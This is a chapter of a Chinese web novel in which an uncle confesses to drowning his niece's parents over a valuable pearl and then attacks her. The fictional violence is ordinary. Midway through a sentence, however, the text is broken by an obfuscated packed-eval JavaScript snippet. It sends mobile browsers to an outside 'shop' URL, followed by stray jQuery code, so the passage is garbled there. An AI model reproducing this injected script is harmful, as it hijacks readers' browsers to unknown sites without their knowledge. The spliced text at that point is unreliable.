——
一瞬间,元宝珠冷汗直流,心脏剧烈地跳动,几乎要冲破胸膛。
她不敢抬头,也不愿抬头。
“叔父……我听不懂,这是什么意思?”
元嵩强硬地掰过她的脸,强迫她看着自己。
“我要杀你。”
他只是垂着眼,平静地看着元宝珠:“这样,你能听懂吗?”
元宝珠一个字也说不出来。
恐惧堵住了她的喉咙,泪水早已流干了。女孩难以置信地盯着男人,牙关咬紧,半晌,她道:“为什么?”
元嵩叹了口气,眼神中似乎闪过一瞬不忍,但也只是一瞬罢了,他默了默,道:“好吧,我叫你死的明白些,这样,或许你也能理解我一二。”
“未来午夜梦回之时,望你不似兄长一般整日缠着我。”
元宝珠意识到什么,浑身止不住地颤抖。
元嵩掐着她,手上力道不减,一面叹气,一面将原委娓娓道来。
“那个时候,二十年前。我那时候很穷,相当穷,几乎到了捉襟见肘的地步。”
“爹娘供我读书十余载,可谁曾想,这官府乌烟瘴气,徇私舞弊,我落榜数次,连个秀才也中不了。”
说到这儿,他表情变得狰狞。
“我空有满腹经纶,竟然回回考,回回不成!”
“于是我借了同窗的银元,打点了一番,这才知晓事情真相。”
“我的试卷被换了,每一回,每一回,总有人踩在我头上,顶了我的位子去!”他越说越激动,义愤填膺道。
他紧紧地掐着她,指甲几乎要嵌进肉里。元宝珠忽地轻笑一声,道:“是吗?每一回吗?”
“……你不信我?”元嵩眯了眯眼,道:“你果然跟你的父亲很像。”
“一样的令人厌恶。”
元宝珠道:“我父亲是你兄长。”
元嵩冷冷道:“他算哪门子的兄长?”
“……”
停了一停,男人继续道:“我并非道听途说,妄自揣测。是有知情人士,亲口告诉我的。”
“你相信也好,不信也罢,我也并不在意。反正,你将要死了,与你这无知小儿争论简直毫无意义。”
“总之,我是知道了内情。怎料还未来得及为自己平冤,第二日,我被迫上了官府。那无情无义的同窗将我告上了衙门。”
元宝珠蹙眉,咬着牙,尖锐地指出:“那银子是你偷的。”
男人神有愠色,面色青白交加,摇头道:“你错了。”
“他同意了的,他同意借钱与我的!”元嵩怒极,就像是受了极大的冤屈,“是他出尔反尔!是他言而无信!与我何干!”他狠狠捏着元宝珠的面颊,而后,用力地将手一甩,背到身后。元宝珠的脸此刻已浮上青红的指痕。
元嵩横眉冷对,喘着气,终于逐渐冷静下来:“也罢,我与你这黄毛丫头置什么气。”
“但有一点……你猜的很对,那小人诬陷我,偷了他的银子。”
“分明没有证据,可我却为此受了三天牢狱之灾,再无科考可能。而那个杨平小人,却平步青云,当真叫他考上了秀才!”元嵩愤愤,哈哈大笑两声,而后又平静下来:“实乃老天负我。受此奇耻大辱,元嵩永生难忘。”
“但是没关系,只是个秀才而已。我从前嫌弃商人身上的铜臭臭气,如今……”
他诡异地哼笑了两声,看着元宝珠,摇头晃脑道:“叔父教你一个道理。”
“……”
“所谓有钱能使鬼推磨,我如今乃是宛城第一大商贾,他杨平不过一个小小秀才,报仇便很轻易。”
元宝珠总算不再沉默,蹙眉道:“你将他杀了?”
元嵩摇头否认:“那倒没有。只是,叫他体会了一下我年少时那份冤屈罢了。”
“……”
男人上下打量了一下女孩,沉默良久,而后方道:“说到哪了?”
“啊,我入了大牢。”他想起来了,继续道:“那几夜,淅淅沥沥地下着雨,当真难熬……我的青云路啊……”
“自从戴上这''赃罪''的帽子,我再去不了学堂,想要去教书,哪里有人愿意拜我为师?父母年迈,再供不起我。我只能靠着帮人抄书,做些零散的活计谋生。”
“不过么……那时候,兄长,也就是你父亲,混的比我还不如。”
“再然后,爹娘死了,我的生活便更加艰难。”
“自年少时来了宛城,我便鲜少与兄长见面了,兄长大我十岁,似乎早已成亲,安居在老家。”
“葬礼上,我总算见到兄长,彼时,我二人已有十余年未见。”元嵩已深深陷入回忆之中。
似乎觉得好笑,他勾了勾唇角:“那时候,兄长膝下已有二子,那便是我第一次见到你。”
元宝珠道:“二子?”
元嵩啊了一声,道:“是了,你怎么可能还记得。你还有个未曾谋面的哥哥。”
元宝珠摇头道:“不可能,怎地我从未见过?”
“这穷酸僻壤里出来的亲戚,怎入得我元府?”元嵩蹙眉道:“不过,他来找你,也是几年前的事了。他举目无亲,或许早就死了。”
一桩一件,元宝珠心里的火烧的越来越旺。
元嵩自顾自地继续道:“兄长比我还要窘迫的多,在他面前,我倒成了城里人,香饽饽。”
“元宝珠,你从来不曾想过,自己为何叫这个名字吗?按理,你应该同华儿妍儿一样,按文字取名才对。”
元宝珠手紧紧地扣着栏杆,道:“从未想过。”
听到这话,忽地,元嵩哈哈大笑起来,像是想到了什么有趣的事情一般:“说起来,应该说,是你害死兄嫂的,是你,亲手杀死了你的父母!”
元宝珠已然不再发抖了,冷声道:“一派胡言。”
元嵩笑得眼泪都出来了,他抹了抹眼角,道:“元宝珠,你或许不记得了。正是你,将宝珠找到的!价值连城,所谓天赐之宝珠。正是你啊!宝珠。”
元宝珠脸色惨白。
“十年前你年方六岁,高热不止。兄长是个目不识丁的,没有门路,于是奔了我这儿,想在城里寻个大夫。”
“我救了你啊,元宝珠。”
“那时候,我们四个人挤在一个小院子里,很难不叫人发现,你一个小娃娃,把玩的东西……”
“简直愚昧不堪,此等宝物,竟拿来叫小孩当玩具。我一眼便看出,此珠并非凡物。”
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336005|191500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
托人打听了,这就是个价值连城的宝珠。我跑前跑后,总算将这消息调查清楚了,告诉兄嫂。”
“彼时,我如此穷困潦倒,我太需要这笔钱了。”
元嵩拍着胸脯,一脸愤愤:“我只是要一点儿,要一点点罢了。我救了你,我为他们找了大夫,救了你。”
元嵩怒道:“我只是借一点点钱,同为兄弟,他却漠视手足之情,任由他的胞弟深陷水火。”
元宝珠哼道:“借?你不过是抢!”
听到这话,元嵩却并不气恼,只是一把捏住元宝珠的面,笑盈盈道:“休要污蔑我。”
声音却极为低沉,就像是威胁一般。
元宝珠于是便不再开口。
元嵩的声音诡异地带着一丝激动,他道:“我求他,我苦苦地恳求他,你父亲却不为所动。甚至,他压根不想将珠子卖掉。”
“我只是,想借那珠子用一用。待我高中,当了官,自然会将银子还给他。”
“于是,我邀请兄嫂去游湖,原想着等他们吃醉了酒,先行离开去拿宝珠。”
“怎料他们吃了酒,反而更加清醒。非但不愿将珠子给我,还将我折辱一番。我别无他法,只能将二人推入湖中。”
元宝珠咬牙,恨道:“你杀了我爹娘。”
“此乃无奈之举!”元嵩摇头道,“你不必用这种眼神看着我,我替你父母养了你十年,已是仁慈。”
“要怪,也只能怪你自己,找到了宝珠。”元嵩道,“所谓怀璧其罪!即使不是我,也会有旁的人来争抢。”
“只有在我手上,宝珠才能发挥它的作用。”
元宝珠捏紧了拳头,道:“那是我的珠子!我爹娘的珠子!”
元嵩冷呵道:“彼时你不过是个小娃娃,你又懂什么价值?我取了宝珠本就是天经地义的事情。”
简直无耻。
元宝珠死死地盯着他,眼神几乎要喷出火来。她再也感受不到什么恐惧了,唯有满腔的怒火,烧的她骨头变得炽热,血也变得滚烫。
她猛地攥住他掐着她脸的手,恨恨道:“你就是个贼,厚颜无耻,你一辈子也别想做官!”
元嵩眼睛微眯,这话正戳着了他的痛处,他手捏紧,而后将手缓缓抬起……
元宝珠被迫抬起头,身子后仰,但她还是执拗地,牢牢地捆住他的手。
元嵩轻喃:“我不该听你婶娘的话。那年寒冬,应该早该杀了你的。这样,也好叫你们一家人在地底团聚,不必阴阳两隔。”
“我不明白,凭什么,偏偏只有你,怎么都杀不死?”
“原想着,你能为我带来些用处。不过到底是仇人的女儿,没用的爹娘生了一个没用的废物……当初,就应该让你,陪着他们一同沉湖!”
元宝珠听到了,尖声道:“你会遭天谴的!”
元嵩听到此话,眼珠木木地转了转,半晌,他才反应过来:“哈哈……”
“哈哈哈哈哈哈哈!”慢慢地,他开始癫狂地放声大笑!
“我早就遭了天谴了。”
说完这话,他面色一沉,手上使劲,元宝珠的脸变得狰狞。
再一推。
他听到女孩惊声尖叫,长叹一口气,轻声道:“终于……”